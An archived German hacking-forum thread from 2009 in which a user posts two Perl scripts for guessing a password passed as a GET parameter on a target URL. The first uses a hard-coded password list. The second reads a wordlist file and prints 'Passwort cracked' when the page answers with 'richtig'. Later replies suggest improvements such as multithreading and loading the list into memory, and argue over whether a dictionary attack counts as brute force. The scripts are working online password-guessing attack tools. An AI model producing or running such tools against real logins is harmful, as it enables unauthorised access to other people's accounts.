PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Perl] Bruter



$_staX
23.02.2009, 14:28
Nur ein kleiner Bruter der nur veranschaulichen soll wie man einen Get Bruteforcer realisieren kann:

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
############################
# Get Bruteforcer #
# by $_staX #
############################
$counter = 0;
print "\n\t\t\tGet Bruteforcer by \$_staX\n";
print "\t\tExample: http://target.de/passwort.php?passwort=\n\n";
print "Target angeben in Form von example: ";
$target = <STDIN>;
chomp $target;
if ($target !~ /^http:/){
$target = "http:\/\/".$target;
}
@passwords=('admin','qwertz123','qwertz','++++en12 3','++++en','gaylord'); #Ja hier müssen halt die Passwörter stehen, die gebrutet werden
foreach $pw(@passwords){
$site = $target.$pw;
$request = new HTTP::Request(GET=>$site);
$useragent= new LWP::UserAgent;
$response=$useragent->request($request);
$counter++;
if($response->content =~ /richtig/i){ #Ausgabe der Seite wenn das Pw richtig ist
print "\n\n[+] Passwort cracked: $pw\n";
}else{
print "\n[-] Tested $counter: $pw";
}
}

trisn
23.02.2009, 15:08
nicht schlecht :)

int_main();
23.02.2009, 20:05
@passwords=('admin','qwertz123','qwertz','++++en12 3','++++en','gaylord'); #Ja hier müssen halt die Passwörter stehen, die gebrutet werdenMacht irgendwie alles uneffizient. Sinnvoller wäre es die Passwörter aus einer Liste auszulesen, ist garnicht so schwer in perl!. aber da es nur eine veranschaulichung ist. nice :)

GreeZ

HH-NORD19
23.02.2009, 20:07
nice danke ;D

$_staX
23.02.2009, 21:15
Macht irgendwie alles uneffizient. Sinnvoller wäre es die Passwörter aus einer Liste auszulesen, ist garnicht so schwer in perl!. aber da es nur eine veranschaulichung ist. nice :)

GreeZ

Ja na klar ist es so eg wertlos. Ich wollte nur zeigen wie ein Bruteforceprogramm aussehen könnte, wenn Interesse besteht kann ich es gerne noch mit einer Liste versuchen, aus der die Passwörter ausgelesen werden.

trisn
23.02.2009, 21:57
daran wäre ich sogar noch mehr interessiert ^^

$_staX
23.02.2009, 22:04
Ok hab mich kurz hingesetzt:

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
############################
# Get Bruteforcer #
# by $_staX #
############################
$counter = 0;
print "\n\t\t\tGet Bruteforcer by \$_staX\n";
print "\t\tExample: http://target.de/passwort.php?passwort=\n\n";
print "Target angeben in Form von example: ";
$target = <STDIN>;
chomp $target;
if ($target !~ /^http:/){
$target = "http:\/\/".$target;
}
open(List, "< list.txt") || print"list.txt not found!";
foreach $pw(<List>){
chomp($pw);
$site = $target.$pw;
$request = new HTTP::Request(GET=>$site);
$useragent= new LWP::UserAgent;
$response=$useragent->request($request);
$counter++;
if($response->content =~ /richtig/i){
print "\n\n[+] Passwort cracked: $pw\n";
}else{
print "\n[-] Tested $counter: $pw";
}
}
print "\n\nDone!!"Die Wordlist muss list.txt heißen und im selben Verzeichnis sein wie der Bruter.

-[RiDER]-
23.02.2009, 22:13
Hi :-D
Das ist kein Brute-Forcing!

http://de.wikipedia.org/wiki/Brute-Force-Methode

Das hier fällt wohl eher unter die Kategorie "Wörterbuchangriff" ;-)
Als solcher aber ganz nett. :-)

GreetZ RiDER :D

$_staX
23.02.2009, 22:19
Joa stimmt es ist ein Wörterbuchangriff, aber ein Wörterbuchangriff fällt doch auch unter Bruteforce oder?!
Außerdem hört sich Wörterbuchangreifer scheiße an xD

-[RiDER]-
26.02.2009, 21:55
Hi :D

Joa stimmt es ist ein Wörterbuchangriff, aber ein Wörterbuchangriff fällt doch auch unter Bruteforce oder?!
Nein, eben nicht.

Und open() sollte in der 3-Argumentform verwendet werden.
In Deinem Fall belanglos, aber wenns Gewohnheit wird, kannst schnell zum Stolperstein werden... ;-)

GreetZ RiDER :D

$_staX
26.02.2009, 22:01
Wie meinst du 3 Argumentform?
so open(wlist, "<", "asd") <--ist das so richtig?
also falls du das meinst, hab das hier "< asd" aus so nem tutorial und schreibt sich ja auch schneller

Grim-Reaper
26.02.2009, 22:03
Joa stimmt es ist ein Wörterbuchangriff, aber ein Wörterbuchangriff fällt doch auch unter Bruteforce oder?!
Außerdem hört sich Wörterbuchangreifer scheiße an xD

kannst es ja Wordbookattack nennen ;)

Toxic222333
30.06.2009, 12:21
hab ein bug gefunden undzwar ganz unten das exit muss weg sonst geht der immer sofort aus wenn er anfängt zu bruten

[♥]
30.06.2009, 12:25
-;253577']Hi :D

Nein, eben nicht.

Und open() sollte in der 3-Argumentform verwendet werden.
In Deinem Fall belanglos, aber wenns Gewohnheit wird, kannst schnell zum Stolperstein werden... ;-)

GreetZ RiDER :D

Warum glaubst du open() sollte mit 3 Argumenten verwendet werden? Das ist lediglich ein Syntaxunterschied, und in diesem Fall wohl eher unnütz, denn ältere Perl Versionen kennen open() auch nur mit 2 Argumenten.

Ancient87
30.06.2009, 13:25
Wollte nur anmerlen das es effizienter ist erstmal die ganze liste in Speicher zu lesen und dann von da abzuarbeiten da du nicht jede iteration auf die HD warten musst.

Cheese
30.06.2009, 13:57
mal auf die idee gekommen threads zu benutzen?

das script ist leider SEHR schlecht :/

$_staX
30.06.2009, 14:16
Argh ich wusste, dass irgendwann mal jemand die Threads ausgräbt in denen ich Perl vergewaltigt habe :'(

[♥]
30.06.2009, 14:36
Argh ich wusste, dass irgendwann mal jemand die Threads ausgräbt in denen ich Perl vergewaltigt habe :'(

Ich denke Cheese meint weniger deine Forenthreads, eher Multithreading (http://www.perl.com/doc/manual/html/lib/Thread.html) :D

$_staX
30.06.2009, 14:40
;334184']Ich denke Cheese meint weniger deine Forenthreads, eher Multithreading (http://www.perl.com/doc/manual/html/lib/Thread.html) :D
O_o hätte ich jetzt gar nicht gedacht...Ja es ist mir durchaus klar, dass cheese Multithreading meint, aber ich meine die Perl Threads in denen ich Perl vergewaltigt habe. Leider war mir früher strict und warnings ein Fremdwort ;)